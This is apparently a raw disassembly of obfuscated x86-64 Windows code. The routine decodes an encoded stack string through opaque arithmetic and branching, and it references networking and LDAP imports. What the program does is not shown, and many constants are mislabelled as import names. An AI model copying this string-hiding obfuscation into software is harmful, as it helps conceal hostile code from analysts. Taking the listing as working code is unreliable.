movabs rdx, 0xbdf34381c386ba24
add rdx, r9
mov al, r8b
and al, dl
mov ecx, 2
sub cl, al
lea ebx, [rcx + rcx]
add bl, r8b
add bl, dl
jmp 0x1401ff580
movabs rdx, 0x6757524b1badab62
mov ecx, reloc.WLDAP32.dll_Ordinal_41
add rdx, r9
mov al, r8b
and al, dl
sub cl, al
lea ebx, [rcx + rcx]
jmp 0x1401ff3d8
movabs rcx, 0x10bb611473d49ca0
add rcx, r9
mov al, r8b
and al, cl
add al, al
sub r8b, al
lea ebx, [rcx + r8]
sub bl, 0x60
jmp 0x1401ff5a3
movabs rcx, 0xba1f6fddcbfb8dde
add rcx, r9
mov al, r8b
and al, cl
add al, al
sub r8b, al
lea ebx, [rcx + r8]
sub bl, 0x12
jmp 0x1401ff5a6
movabs rdx, 0x63837ea724227f1c
mov ecx, reloc.WLDAP32.dll_Ordinal_30
jmp 0x1401fefb7
movabs rdx, 0xce78d707c49705a
add rdx, r9
mov al, r8b
and al, dl
add al, al
mov bl, r8b
sub bl, al
sub bl, 0x76
jmp 0x1401ff2cf
movabs rcx, 0xb64b9c39d4706198
add rcx, r9
mov al, r8b
and al, cl
add al, al
sub r8b, al
lea ebx, [rcx + r8]
sub bl, 0x28
jmp 0x1401ff5d0
movabs rcx, 0xddc5c13130d1bcb3
add rcx, r9
mov al, r8b
and al, cl
add al, al
sub r8b, al
lea ebx, [rcx + r8]
add bl, 0x1b
mov byte [rbp + r9 + 0x420], bl
jmp 0x1401ff5df
movabs rdx, 0x8729cffa88f8adf1
add rdx, r9
mov al, r8b
and al, dl
add al, al
mov bl, r8b
sub bl, al
add bl, 0x69
jmp 0x1401ff121
movabs rdx, 0x308ddec3e11f9f2f
add rdx, r9
mov al, r8b
and al, dl
add al, al
mov bl, r8b
sub bl, al
sub bl, 0x49
jmp 0x1401ff0ec
movabs rdx, 0xd9f1ed8d3946906d
add rdx, r9
mov al, r8b
and al, dl
add al, al
mov bl, r8b
sub bl, al
add bl, 5
jmp 0x1401ff0b3
movabs rcx, 0x50605c734e6aa1be
add rcx, r9
mov al, r8b
and al, cl
add al, al
sub r8b, al
lea ebx, [rcx + r8]
sub bl, 0x32
jmp 0x1401ff5d0
movabs rdx, 0xf9c46b3ca69192fc
add rdx, r9
mov al, r8b
and al, dl
mov ecx, reloc.WS2_32.dll_ntohl
sub cl, al
lea ebx, [rcx + rcx]
add bl, r8b
jmp 0x1401ff2cf
movabs rdx, 0xa3287a05feb8843a
mov ecx, gethostname
add rdx, r9
mov al, dl
and al, r8b
sub cl, al
lea ebx, [rcx + rcx]
add bl, dl
add bl, r8b
jmp 0x1401ff46d
movabs rcx, 0x4c8c88cf56df7578
add rcx, r9
mov al, cl
and al, r8b
add al, al
sub cl, al
lea ebx, [r8 + rcx]
sub bl, 0x48
jmp 0x1401ff5a6
movabs rdx, 0xf5f09798af0666b6
mov ecx, 3
jmp 0x1401ff1c2
movabs rdx, 0x9f54a662072d57f4
add rdx, r9
mov al, dl
and al, r8b
mov ecx, Ordinal_46
sub cl, al
lea ebx, [rcx + rcx]
add bl, dl
add bl, r8b
jmp 0x1401ff3dd
movabs rcx, 0x48b8b52b5f544932
add rcx, r9
mov al, r8b
and al, cl
add al, al
sub r8b, al
lea ebx, [rcx + r8]
sub bl, 0x5e
jmp 0x1401ff580
movabs rcx, 0xf21cc3f4b77b3a70
add rcx, r9
mov al, cl
and al, r8b
add al, al
sub cl, al
lea ebx, [r8 + rcx]
sub bl, 0x10
jmp 0x1401ff57d
movabs rdx, 0x9b80d2be0fa22bae
mov ecx, Ordinal_33
add rdx, r9
mov al, r8b
and al, dl
sub cl, al
lea ebx, [rcx + rcx]
add bl, r8b
jmp 0x1401ff24b
lea rax, [r10 + 0x64]
cmp rdi, rax
jae 0x1401ff154
lea rdx, [r9 + rsi]
mov al, r8b
and al, dl
add al, al
mov bl, r8b
sub bl, al
add bl, 0x59
add bl, dl
lea rax, [r10 + rdi]
cmp rax, 3
je 0x1401ff40a
lea rax, [r10 + 6]
cmp rdi, rax
jbe 0x1401ff226
movabs rdx, 0x51943d02ff5c421d
add rdx, r9
mov al, r8b
and al, dl
add al, al
mov bl, r8b
sub bl, al
add bl, 0x35
add bl, dl
cmp rdi, 0x40
jae 0x1401ff3b4
lea rax, [r10 + 8]
cmp rdi, rax
jbe 0x1401ff306
movabs rdx, 0xdef9a1c0e1c35d12
add rdx, r9
mov al, r8b
and al, dl
add al, al
mov bl, r8b
sub bl, al
sub bl, 0x7e
add bl, dl
cmp r10, 0x41
jb 0x1401feef1
movabs rdx, 0x41110de3703df0a6
add rdx, r9
mov al, r8b
and al, dl
add al, al
mov cl, r8b
sub cl, al
add cl, dl
lea ebx, [rcx*2 - 0x14]
jmp 0x1401ff538
lea rax, [r10 + 1]
cmp rdi, rax
jne 0x1401ff180
movabs rcx, 0x1acac97bc4ce35ea
add rcx, r9
mov al, r8b
and al, cl
add al, al
sub r8b, al
lea ebx, [rcx + r8]
sub bl, 0x66
jmp 0x1401ff5d0
lea rax, [r10 + 2]
cmp rdi, rax
jne 0x1401ff1aa
movabs rdx, 0xc802abe91480536e
add rdx, r9
mov al, r8b
and al, dl
add al, al
mov bl, r8b
sub bl, al
sub bl, 2
jmp 0x1401ff46b
lea rax, [r10 + 5]
cmp rdi, rax
jne 0x1401ff1d9
movabs rdx, 0x753a8e56643270f2
mov ecx, Ordinal_50
add rdx, r9
mov al, r8b
and al, dl
sub cl, al
lea ebx, [rcx + rcx]
add bl, r8b
add bl, dl
jmp 0x1401ff5a3
lea rax, [r10 + 3]
cmp rdi, rax
jne 0x1401ff1f6
movabs rdx, 0xcbd67f8d0c0b7fb4
mov ecx, 0xa
jmp 0x1401fee23
lea rax, [r10 + 6]
cmp rdi, rax
jne 0x1401ff0b5
movabs rcx, 0x227270c3b3e48e76
add rcx, r9
mov al, r8b
and al, cl
add al, al
sub r8b, al
lea ebx, [rcx + r8]
sub bl, 0x3a
jmp 0x1401ff580
lea rax, [r10 + 1]
cmp rdi, rax
jne 0x1401ff252
movabs rdx, 0xa8302e39a73550df
add rdx, r9
mov al, r8b
and al, dl
add al, al
mov bl, r8b
sub bl, al
sub bl, 0x19
add bl, dl
jmp 0x1401ff538
lea rax, [r10 + 2]
cmp rdi, rax
jne 0x1401ff27e
movabs rcx, 0x556810a6f6e76e63
add rcx, r9
mov al, r8b
and al, cl
add al, al
sub r8b, al
lea ebx, [rcx + r8]
add bl, 0x4b
jmp 0x1401ff580
lea rax, [r10 + 3]
cmp rdi, rax
jne 0x1401ff2aa
movabs rcx, 0x593be44aee729aa9
add rcx, r9
mov al, r8b
and al, cl
add al, al
sub r8b, al
lea ebx, [rcx + r8]
add bl, 0x61
jmp 0x1401ff5a6
lea rax, [r10 + 4]
cmp rdi, rax
jne 0x1401ff2d6
movabs rdx, 0x673c6b83e24b82d
add rdx, r9
mov al, r8b
and al, dl
add al, al
mov bl, r8b
sub bl, al
sub bl, 0x3b
add bl, dl
jmp 0x1401ff49f
lea rax, [r10 + 7]
cmp rdi, rax
jne 0x1401ff0ee
movabs rcx, 0x5d0fb7eee5fdc6ef
add rcx, r9
mov al, r8b
and al, cl
add al, al
sub r8b, al
lea ebx, [rcx + r8]
add bl, 0x77
jmp 0x1401ff5d0
lea rax, [r10 + 1]
cmp rdi, rax
jne 0x1401ff335
movabs rdx, 0x359592f7899c6bd4
add rdx, r9
mov al, r8b
and al, dl
mov ecx, reloc.WLDAP32.dll_Ordinal_26
sub cl, al
lea ebx, [rcx + rcx]
add bl, r8b
add bl, dl
jmp 0x1401ff5d0
lea rax, [r10 + 3]
cmp rdi, rax
jne 0x1401ff35f
movabs rdx, 0xe2cd7564d94e8958
add rdx, r9
mov al, r8b
and al, dl
add al, al
mov bl, r8b
sub bl, al
sub bl, 0x68
jmp 0x1401ff46b
lea rax, [r10 + 4]
cmp rdi, rax
jne 0x1401ff386
movabs rdx, 0xe6a14908d0d9b59e
add rdx, r9
mov al, r8b
and al, dl
add al, al
mov bl, r8b
sub bl, al
sub bl, 0x52
jmp 0x1401ff3db
lea rax, [r10 + 2]
cmp rdi, rax
jne 0x1401ff123
movabs rdx, 0xea751cacc864e1e4
add rdx, r9
mov al, r8b
and al, dl
add al, al
mov bl, r8b
sub bl, al
sub bl, 0x3c
jmp 0x1401ff24b
movabs rdx, 0x97acff1a1816ff68
add rdx, r9
mov al, r8b
and al, dl
mov ecx, reloc.WS2_32.dll_sendto
sub cl, al
lea ebx, [rcx + rcx]
add bl, byte [rbp + r9 + 0x420]
add bl, r8b
add bl, dl
movabs rdx, 0xc2faf7b56c0386c9
add rdx, r9
mov al, r8b
and al, dl
add al, al
mov cl, bl
sub cl, al
sub cl, 0x7f
add cl, r8b
add cl, dl
mov byte [rbp + r9 + 0x420], cl
jmp 0x1401ff5a3
movabs rdx, 0xee48f050bff00e2a
add rdx, r9
mov al, r8b
and al, dl
add al, al
mov bl, r8b
sub bl, al
sub bl, byte [rbp + r9 + 0x420]
sub bl, 0x26
jmp 0x1401ff46b
movabs rcx, 0x4244ee73212f9105
add rcx, r9
mov al, cl
and al, r8b
add al, al
sub cl, al
lea ebx, [r8 + rcx]
sub bl, 0x23
jmp 0x1401ff49f
movabs rdx, 0xeba8fd3c79568243
add rdx, r9
mov al, r8b
and al, dl
add al, al
mov bl, r8b
sub bl, al
add bl, 0x2b
add bl, dl
movabs rdx, 0x1996e8ec13dc958b
add rdx, r9
mov al, r8b
and al, dl
add al, al
mov cl, r8b
sub cl, al
add cl, 0x33
add cl, dl
movzx eax, cl
mov byte [rbp + r9 + 0x420], al
add r10, r15
add rax, r10
sub r9, rax
movabs rcx, 0x44e4e18767c91cec
add rcx, r9
mov al, r8b
and al, cl
add al, al
sub r8b, al
sub r8b, 0x74
add r8b, cl
mov byte [rbp + r9 + 0x420], r8b
add rdi, r15
or rax, 0xffffffffffffffff
sub rax, rdi
add r9, rax
jmp 0x1401ff5d0
movabs rcx, 0x950d0c05d17d7381
add rcx, r9
mov al, cl
and al, r8b
add al, al
sub cl, al
lea ebx, [r8 + rcx]
add bl, 0x79
jmp 0x1401ff5a6
movabs rcx, 0x3e711acf29a464bf
add rcx, r9
mov al, cl
and al, r8b
add al, al
sub cl, al
lea ebx, [r8 + rcx]
sub bl, 0x39
jmp 0x1401ff5a3
movabs rcx, 0xe40155f48a4029b7
add rcx, r9
mov al, cl
and al, r8b
add al, al
sub cl, al
lea ebx, [r8 + rcx]
sub bl, r15b
movabs rcx, 0x6c5f067ec42a7807
add rcx, r9
mov al, r8b
and al, cl
add al, al
sub r8b, al
sub r8b, 0x31
add r8b, cl
mov byte [rbp + r9 + 0x420], r8b
jmp 0x1401ff57d
movabs rcx, 0xe02d825092b4fd71
add rcx, r9
mov al, cl
and al, r8b
add al, al
sub cl, al
lea ebx, [r8 + rcx]
sub bl, 0x17
add r10, r15
sub r9, r15
jmp 0x1401ff5df
movabs rcx, 0xdc59aeac9b29d12b
add rcx, r9
mov al, r8b
and al, cl
add al, al
sub r8b, al
lea ebx, [rcx + r8]
sub bl, 0x2d
add rdi, r10
movzx eax, bl
or rcx, 0xffffffffffffffff
sub rcx, rax
add r9, rcx
jmp 0x1401ff5df
movabs rcx, 0x81e9e9d1fbc59623
add rcx, r9
mov al, cl
and al, dl
add al, al
sub cl, al
lea ebx, [rdx + rcx]
add bl, 0xb
movzx eax, byte [rbp + r9 + 0x420]
add rax, r10
add r9, rax
add r9, r15
jmp 0x1401feaa5
movabs rcx, 0x7f8228b299e25565
add rcx, r9
mov al, r8b
and al, cl
add al, al
sub r8b, al
lea ebx, [rcx + r8]
add bl, 0x3d
jmp 0x1401feaa0
movabs rcx, 0x28e6377bf20946a3
add rcx, r9
mov al, r8b
and al, cl
add al, al
sub r8b, al
lea ebx, [rcx + r8]
sub bl, 0x75
jmp 0x1401fea90
lea rsi, [rbp + 0x16af94c]
jmp 0x1401ff646
lea rsi, [rbp + 0x5780ad]
jmp 0x1401ff646
lea rsi, [rbp + 0x420]
mov byte [rbp + 0x1030], 0xe1
mov byte [rbp + 0x1031], 0xad
mov byte [rbp + 0x1032], Ordinal_60
mov byte [rbp + 0x1033], 0xab
mov byte [rbp + 0x1034], 0xc0
mov byte [rbp + 0x1035], 0xa9
mov byte [rbp + 0x1036], 0xbb
mov byte [rbp + 0x1037], Ordinal_217
mov byte [rbp + 0x1038], Ordinal_79
mov byte [rbp + 0x1039], Ordinal_217
mov byte [rbp + 0x103a], 0xb3
mov byte [rbp + 0x103b], reloc.WLDAP32.dll_Ordinal_211
mov byte [rbp + 0x103c], 0xf0
mov byte [rbp + 0x103d], Ordinal_211
mov byte [rbp + 0x103e], 0xae
mov byte [rbp + 0x103f], 0xdf
mov byte [rbp + 0x1040], 0x42
mov byte [rbp + 0x1041], 0xdd
mov byte [rbp + 0x1042], Ordinal_79
mov byte [rbp + 0x1043], 0xdb
mov byte [rbp + 0x1044], 0x44
mov byte [rbp + 0x1045], reloc.WLDAP32.dll_Ordinal_217
mov byte [rbp + 0x1046], 0xab
mov byte [rbp + 0x1047], Ordinal_200
mov byte [rbp + 0x1048], 0xab
mov byte [rbp + 0x1049], Ordinal_200
mov byte [rbp + 0x104a], 0x5e
mov byte [rbp + 0x104b], Ordinal_200
mov byte [rbp + 0x104c], 0xa9
mov byte [rbp + 0x104d], 0xc1
mov byte [rbp + 0x104e], 0x5d
mov byte [rbp + 0x104f], Ordinal_211
mov byte [rbp + 0x1050], 0x5e
mov byte [rbp + 0x1051], Ordinal_211
mov byte [rbp + 0x1052], 0xea
mov byte [rbp + 0x1053], 0xcb
mov byte [rbp + 0x1054], 0x9d
mov byte [rbp + 0x1055], 0xc9
mov byte [rbp + 0x1056], Ordinal_217
mov byte [rbp + 0x1057], 0xf7
mov byte [rbp + 0x1058], __WSAFDIsSet
mov byte [rbp + 0x1059], 0xf5
mov byte [rbp + 0x105a], Ordinal_211
mov byte [rbp + 0x105b], 0xf3
mov byte [rbp + 0x105c], 0xbd
mov byte [rbp + 0x105d], 0xf1
mov byte [rbp + 0x105e], 0x60
mov byte [rbp + 0x105f], 0xff
mov byte [rbp + 0x1060], 0x62
mov byte [rbp + 0x1061], 0xfd
mov byte [rbp + 0x1062], WSAGetLastError
mov byte [rbp + 0x1063], 0xfb
mov byte [rbp + 0x1064], 0x66
mov byte [rbp + 0x1065], 0xf9
mov byte [rbp + 0x1066], Ordinal_200
mov byte [rbp + 0x1067], 0xe7
mov byte [rbp + 0x1068], 0xa9
mov byte [rbp + 0x1069], 0xe5
mov byte [rbp + 0x106a], 0x76
mov byte [rbp + 0x106b], 0xe3
mov byte [rbp + 0x106c], Ordinal_143
mov byte [rbp + 0x106d], 0xe1
mov byte [rbp + 0x106e], reloc.WS2_32.dll_WSACleanup
mov byte [rbp + 0x106f], 0xef
mov byte [rbp + 0x1070], Ordinal_143
mov byte [rbp + 0x1071], 0xed
mov byte [rbp + 0x1072], 0x76
mov byte [rbp + 0x1073], 0xeb
mov byte [rbp + 0x1074], 0x81
mov byte [rbp + 0x1075], 0xe9
mov byte [rbp + 0x1076], 0x84
mov byte [rbp + 0x1077], reloc.WS2_32.dll_socket
mov byte [rbp + 0x1078], 0x7f
mov byte [rbp + 0x1079], reloc.WS2_32.dll_setsockopt
mov byte [rbp + 0x107a], reloc.WLDAP32.dll_Ordinal_50
mov byte [rbp + 0x107b], reloc.WS2_32.dll_send
mov byte [rbp + 0x107c], 0x64
mov byte [rbp + 0x107d], reloc.WS2_32.dll_recvfrom
mov byte [rbp + 0x107e], Ordinal_143
mov byte [rbp + 0x107f], Ordinal_33
mov byte [rbp + 0x1080], 0x7d
mov byte [rbp + 0x1081], Ordinal_30
mov byte [rbp + 0x1082], 0x76
mov byte [rbp + 0x1083], reloc.WLDAP32.dll_Ordinal_27
mov byte [rbp + 0x1084], 0x75
mov byte [rbp + 0x1085], Ordinal_30
mov byte [rbp + 0x1086], 0x98
mov byte [rbp + 0x1087], 7
mov byte [rbp + 0x1088], Ordinal_41
mov byte [rbp + 0x1089], 5
mov byte [rbp + 0x108a], 0x67
mov byte [rbp + 0x108b], 3
xor eax, eax
mov byte [rbp + 0x108c], al
mov byte [rbp + 0x108d], r15b
mov dword [rbp + 0x108e], eax
mov word [rbp + 0x1092], ax
mov byte [rbp + 0x1094], al
movabs r14, 0x6c3a2f70dd85363a
mov bl, byte [rsp + 0x50]
call fcn.1402682a8
mov rdi, qword [rax]
call fcn.1402682b0
mov r11, qword [rax]
xor eax, eax
mov r10d, eax
cmp r10, 0x65
jae 0x1402004a6
movzx r9d, byte [rbp + r10 + 0x1030]
mov r8, r9
cmp rdi, r10
ja 0x14020049d
lea rax, [r11 + 1]
cmp rdi, rax
jae 0x1401ff950
lea rcx, [r10 + r14]
mov rax, rcx
and rax, r9
imul rbx, rax, 0xfffffffffffffffe
add rbx, rcx
add rbx, r9
add bl, 0x6a
jmp 0x1401ff97d
je 0x140200410
lea rax, [r11 + 2]
cmp rdi, rax
je 0x140200388
lea rax, [r11 + 3]
cmp rdi, rax
je 0x140200359
lea rax, [r11 + 5]
cmp rdi, rax
je 0x140200309
cmp r11, r10
ja 0x140200494
lea rax, [r11 + 0x3e8]
cmp rdi, rax
jae 0x1401ff9b2
movabs rdx, 0xe0c5e4422bed72c2
add rdx, r10
mov al, r9b
and al, dl
add al, al
mov bl, r9b
sub bl, al
sub bl, 0x4e
add bl, dl
jmp 0x1401ffa00
lea rax, [r11 + 1]
cmp rdi, rax
je 0x1402002ba
lea rax, [r11 + 3]
cmp rdi, rax
je 0x140200297
lea rax, [r11 + 2]
cmp rdi, rax
je 0x140200273
lea rax, [r11 + 6]
cmp rdi, rax
je 0x140200251
lea rax, [r11 + 7]
cmp rdi, rax
je 0x14020022b
lea rax, [r11 + 4]
cmp rdi, rax
je 0x140200205
lea rax, [rdi + r11]
cmp rax, r10
jbe 0x1401ffedd
lea rax, [r11 + 0xa]
cmp rdi, rax
je 0x1401ffebc
lea rax, [r11 + 0x80]
cmp rdi, rax
je 0x1401ffe96
lea rax, [r11 + 8]
cmp rdi, rax
je 0x1401ffe82
lea rax, [r11 + 0x41]
cmp rdi, rax
je 0x1401ffe6e
lea rax, [r11 + 0x42]
cmp rdi, rax
je 0x1401ffe4b
lea rax, [r11 + 5]
cmp rdi, rax
je 0x1401ffe28
lea rax, [r11 + 0x61]
cmp rdi, rax
je 0x1401ffe07
lea rax, [r11 + 3]
cmp rdi, rax
je 0x1401ffdf3
lea rax, [r11 + 0x400]
cmp rdi, rax
je 0x1401ffddf
lea rax, [r11 + 0x10]
cmp rdi, rax
je 0x1401ffa0d
mov rdi, rax
lea r11, [rax + 1]
lea rax, [r11 + 0x200]
cmp rdi, rax
jb 0x14020046e
lea rax, [r11 + 9]
cmp rdi, rax
jb 0x140200448
lea rax, [r11 + 0x5a]
cmp rdi, rax
jb 0x1401ffc0b
lea rax, [r11 + 0x64]
cmp rdi, rax
jb 0x1401ffbe9
lea rax, [r11 + 6]
cmp rdi, rax
jb 0x1401ffbc7
lea rax, [r11 + 0x7a]
cmp rdi, rax
jb 0x1401ffdc8
lea rax, [r11 + 0x40]
cmp rdi, rax
jb 0x1401ffdb4
lea rax, [r11 + 0x1000]
cmp rdi, rax
jb 0x1401ffd62
lea rax, [r11 + 0x20]
cmp rdi, rax
jb 0x1401ffd37
lea rax, [r11 + 2]
cmp rdi, rax
jb 0x1401ffa0d
lea rdi, [r11 + 0x3e8]
lea r11, [rdi + 0x3e8]
lea rax, [r11 + 0xa]
cmp rdi, rax
ja 0x1401ffd14
lea rax, [r11 + 0x2a]
cmp rdi, rax
ja 0x1401ffcf3
lea rax, [r11 + 0x80]
cmp rdi, rax
ja 0x1401ffcd1
lea rax, [r11 + 8]
cmp rdi, rax
ja 0x1401ffcbd
lea rax, [r11 + 0x41]
cmp rdi, rax
ja 0x1401ffca9
lea rax, [r11 + 0x42]
cmp rdi, rax
ja 0x1401ffc95
lea rax, [r11 + 0x61]
cmp rdi, rax
ja 0x1401ffc72
lea rax, [r11 + 0x28]
cmp rdi, rax
ja 0x1401ffc4f
lea rax, [r11 + 3]
cmp rdi, rax
ja 0x1401ffc2e
lea rax, [r11 + 0x400]
cmp rdi, rax
ja 0x1401ffa0d
lea rdi, [r11 + 0x10]
lea r11, [rdi + 0x10]
jmp 0x1401ffa0d
movabs rcx, 0xc397c2484754717e
add rcx, r10
mov al, cl
and al, r9b
add al, al
sub cl, al
lea ebx, [r9 + rcx]
sub bl, 0x72
jmp 0x1401ffa00
movabs rcx, 0xeb2363668c4a050a
add rcx, r10
mov al, cl
and al, r9b
add al, al
sub cl, al
lea ebx, [r9 + rcx]
sub bl, 0x46
jmp 0x1401ff97d
movabs rdx, 0x12af0484d13f9896
add rdx, r10
mov al, r9b
and al, dl
add al, al
mov bl, r9b
sub bl, al
sub bl, 0x1a
add bl, dl
jmp 0x1401ff922
movabs rdx, 0x62f22115f6b9610
add rdx, r10
mov al, r9b
and al, dl
add al, al
mov bl, r9b
sub bl, al
sub bl, 0x70
jmp 0x1402002d6
movabs rcx, 0x2dbac32fa461299c
add rcx, r10
mov al, r9b
and al, cl
add al, al
sub r9b, al
lea ebx, [rcx + r9]
sub bl, 0x44
jmp 0x1402002fe
movabs rcx, 0x5546644de956bd28
add rcx, r10
mov al, r9b
and al, cl
add al, al
sub r9b, al
lea ebx, [rcx + r9]
sub bl, 0x18
jmp 0x140200301
movabs rdx, 0x7cd2056c2e4c50b4
mov ecx, 0xa
jmp 0x140200280
movabs rdx, 0xa45da68a7341e440
mov ecx, reloc.WLDAP32.dll_Ordinal_32
jmp 0x140200072
movabs rdx, 0xcbe947a8b83777cc
mov ecx, gethostname
jmp 0x1402000a1
movabs rcx, 0xf374e8c6fd2d0b58
add rcx, r10
mov al, cl
and al, r9b
add al, al
sub cl, al
lea ebx, [r9 + rcx]
sub bl, 0x68
jmp 0x1402003a9
movabs rdx, 0x1b0089e542229ee4
add rdx, r10
mov al, r9b
and al, dl
add al, al
mov bl, r9b
sub bl, al
sub bl, 0x3c
jmp 0x1401fffce
movabs rcx, 0x428c2b0387183270
add rcx, r10
mov al, r9b
and al, cl
add al, al
sub r9b, al
lea ebx, [rcx + r9]
sub bl, 0x10
jmp 0x140200431
movabs rcx, 0x25693dcf337e234e
add rcx, r10
mov al, r9b
and al, cl
add al, al
sub r9b, al
lea ebx, [rcx + r9]
sub bl, 0x22
mov byte [rbp + r10 + 0x1030], bl
jmp 0x140200440
movabs rdx, 0x4cf4deed7873b6da
add rdx, r10
mov al, r9b
and al, dl
mov ecx, 5
sub cl, al
lea ebx, [rcx + rcx]
add bl, r9b
add bl, dl
cmp r11, 0x1000
jb 0x1401ffd55
movabs rdx, 0x1f2ee6f843139b1c
add rdx, r10
mov al, r9b
and al, dl
mov ecx, reloc.WLDAP32.dll_Ordinal_30
sub cl, al
add cl, cl
add cl, r9b
add cl, dl
lea ebx, [rcx + rcx]
jmp 0x1402002d8
movabs rdx, 0x7480800bbd694a66
mov ecx, reloc.WLDAP32.dll_Ordinal_27
jmp 0x1401fff2c
movabs rdx, 0x9c0c212a025eddf2
add rdx, r10
mov ecx, Ordinal_50
jmp 0x1401ffef3
movabs rdx, 0x44a3598d0790b08c
mov ecx, reloc.WLDAP32.dll_Ordinal_22
jmp 0x1401fff8f
movabs rdx, 0x6c2efaab4c864418
mov ecx, Ordinal_46
jmp 0x1401fffbe
movabs rdx, 0x93ba9bc9917bd7a4
add rdx, r10
mov al, r9b
and al, dl
add al, al
mov bl, r9b
sub bl, al
sub bl, 0x7c
jmp 0x1402001fe
movabs rcx, 0xbb463ce7d6716b30
add rcx, r10
mov al, r9b
and al, cl
add al, al
sub r9b, al
lea ebx, [rcx + r9]
sub bl, 0x50
jmp 0x140200376
movabs rcx, 0xe2d1de061b66febc
add rcx, r10
mov al, r9b
and al, cl
add al, al
sub r9b, al
lea ebx, [rcx + r9]
sub bl, 0x24
jmp 0x140200354
movabs rdx, 0xa5d7f24605c9248
mov ecx, 4
jmp 0x140200318
movabs rdx, 0x31e92042a55225d4
mov ecx, reloc.WLDAP32.dll_Ordinal_26
jmp 0x1402002a6
movabs rdx, 0x5974c160ea47b960
add rdx, r10
mov al, r9b
and al, dl
mov ecx, Ordinal_50
sub cl, al
lea ebx, [rcx + rcx]
add bl, r9b
add bl, dl
jmp 0x1402002fe
movabs rdx, 0x8100627f2f3d4cec
add rdx, r10
mov al, r9b
and al, dl
add al, al
mov bl, r9b
sub bl, al
sub bl, 0x74
jmp 0x1402002d6
lea rax, [r11 + 0x10]
cmp rdi, rax
jae 0x1401fff77
lea rdx, [r10 + r14]
mov ecx, gethostname
mov al, dl
and al, r9b
sub cl, al
lea ebx, [rcx + rcx]
add bl, dl
add bl, r9b
lea rax, [rdi + r11]
cmp rax, 0x20
je 0x1402001da
lea rax, [r11 + 0x20]
cmp rdi, rax
jbe 0x140200040
movabs rdx, 0xc9dd4de4c8bdebd2
mov ecx, reloc.WLDAP32.dll_Ordinal_33
add rdx, r10
mov al, r9b
and al, dl
sub cl, al
lea ebx, [rcx + rcx]
add bl, r9b
add bl, dl
cmp rdi, 3
jae 0x1402001b1
lea rcx, [r11 + 3]
cmp rdi, rcx
jbe 0x1402000e8
movabs rcx, 0xaaa33226f4ab5e94
add rcx, r10
mov al, cl
and al, r9b
add al, al
sub cl, al
lea ebx, [r9 + rcx]
sub bl, 0xc
jmp 0x1401ffd83
lea rax, [r11 + 1]
cmp rdi, rax
jne 0x1401fffa6
movabs rdx, 0xc18bc88457dae584
mov ecx, reloc.WLDAP32.dll_Ordinal_50
add rdx, r10
mov al, r9b
and al, dl
sub cl, al
lea ebx, [rcx + rcx]
add bl, r9b
add bl, dl
jmp 0x140200431
lea rax, [r11 + 2]
cmp rdi, rax
jne 0x1401fffd5
movabs rdx, 0x9a00276612e551f8
mov ecx, Ordinal_30
add rdx, r10
mov al, r9b
and al, dl
sub cl, al
lea ebx, [rcx + rcx]
add bl, r9b
add bl, dl
jmp 0x1402003dd
lea rax, [r11 + 3]
cmp rdi, rax
jne 0x1401ffff2
movabs rdx, 0x72748647cdefbe6c
mov ecx, 6
jmp 0x14020023a
lea rax, [r11 + 4]
cmp rdi, rax
jne 0x14020000f
movabs rdx, 0xd44601ceba19703c
mov ecx, reloc.WLDAP32.dll_Ordinal_46
jmp 0x1402002a6
lea rax, [r11 + 5]
cmp rdi, rax
jne 0x1401fff02
movabs rdx, 0x852ebf92302e4924
mov ecx, 2
add rdx, r10
mov al, r9b
and al, dl
sub cl, al
lea ebx, [rcx + rcx]
add bl, r9b
jmp 0x1402002d6
lea rax, [r11 + 1]
cmp rdi, rax
jne 0x14020005a
movabs rdx, 0xa251acc683c85846
mov ecx, ntohl
jmp 0x14020002b
lea rax, [r11 + 4]
cmp rdi, rax
jne 0x140200089
movabs rdx, 0x423284d6ff20a16
mov ecx, 0x33
add rdx, r10
mov al, r9b
and al, dl
sub cl, al
lea ebx, [rcx + rcx]
add bl, r9b
add bl, dl
jmp 0x140200354
lea rax, [r11 + 6]
cmp rdi, rax
jne 0x1402000b8
movabs rdx, 0xdc97872f2afc768a
mov ecx, Ordinal_30
add rdx, r10
mov al, r9b
and al, dl
sub cl, al
lea ebx, [rcx + rcx]
add bl, r9b
add bl, dl
jmp 0x140200376
lea rax, [r11 + 5]
cmp rdi, rax
jne 0x1401fff3e
movabs rcx, 0x65f4a3d45c1bbbe6
add rcx, r10
mov al, r9b
and al, cl
add al, al
sub r9b, al
lea ebx, [rcx + r9]
sub bl, 0x4a
jmp 0x140200431
lea rax, [r11 + 1]
cmp rdi, rax
jne 0x140200114
movabs rcx, 0x83179108afb5cb08
add rcx, r10
mov al, r9b
and al, cl
add al, al
sub r9b, al
lea ebx, [rcx + r9]
sub bl, 0x38
jmp 0x140200431
lea rax, [r11 + 2]
cmp rdi, rax
jne 0x14020013e
movabs rdx, 0x5b8befea6ac0377c
add rdx, r10
mov al, r9b
and al, dl
add al, al
mov bl, r9b
sub bl, al
sub bl, 0x64
jmp 0x1401fffce
cmp rdi, rcx
jne 0x140200157
movabs rdx, 0x34004ecc25caa3f0
mov ecx, Ordinal_60
jmp 0x14020023a
lea rax, [r11 + 5]
cmp rdi, rax
jne 0x140200181
movabs rdx, 0xbd5d6b7156e9e94c
add rdx, r10
mov al, r9b
and al, dl
add al, al
mov bl, r9b
sub bl, al
sub bl, 0x14
jmp 0x140200290
lea rax, [r11 + 7]
cmp rdi, rax
jne 0x1401ffd83
movabs rcx, 0x95d1ca5311f455c0
add rcx, r10
mov al, r9b
and al, cl
add al, al
sub r9b, al
lea ebx, [rcx + r9]
sub bl, 0x40
jmp 0x140200301
movabs rdx, 0xf7a345d9fe1e0790
add rdx, r10
mov al, dl
and al, r9b
mov ecx, 8
sub cl, al
lea ebx, [rcx + rcx]
add bl, byte [rbp + r10 + 0x1030]
jmp 0x140200325
movabs rdx, 0xd017a4bbb9287404
add rdx, r10
mov al, r9b
and al, dl
add al, al
mov bl, r9b
sub bl, al
sub bl, byte [rbp + r10 + 0x1030]
sub bl, 0x1c
add bl, dl
jmp 0x1402003a9
movabs rdx, 0x7cdd3a31bf4b42d6
add rdx, r10
mov al, dl
and al, r9b
mov ecx, reloc.WS2_32.dll_send
sub cl, al
lea ebx, [rcx + rcx]
add bl, dl
add bl, r9b
jmp 0x140200431
movabs rdx, 0xcbf47c6e493669ee
mov ecx, 0x3f
add rdx, r10
mov al, dl
and al, r9b
sub cl, al
lea ebx, [rcx + rcx]
add bl, dl
add bl, r9b
jmp 0x1402003a9
movabs rcx, 0xf3801d8c8e2bfd7a
add rcx, r10
mov al, cl
and al, r9b
add al, al
sub cl, al
lea ebx, [r9 + rcx]
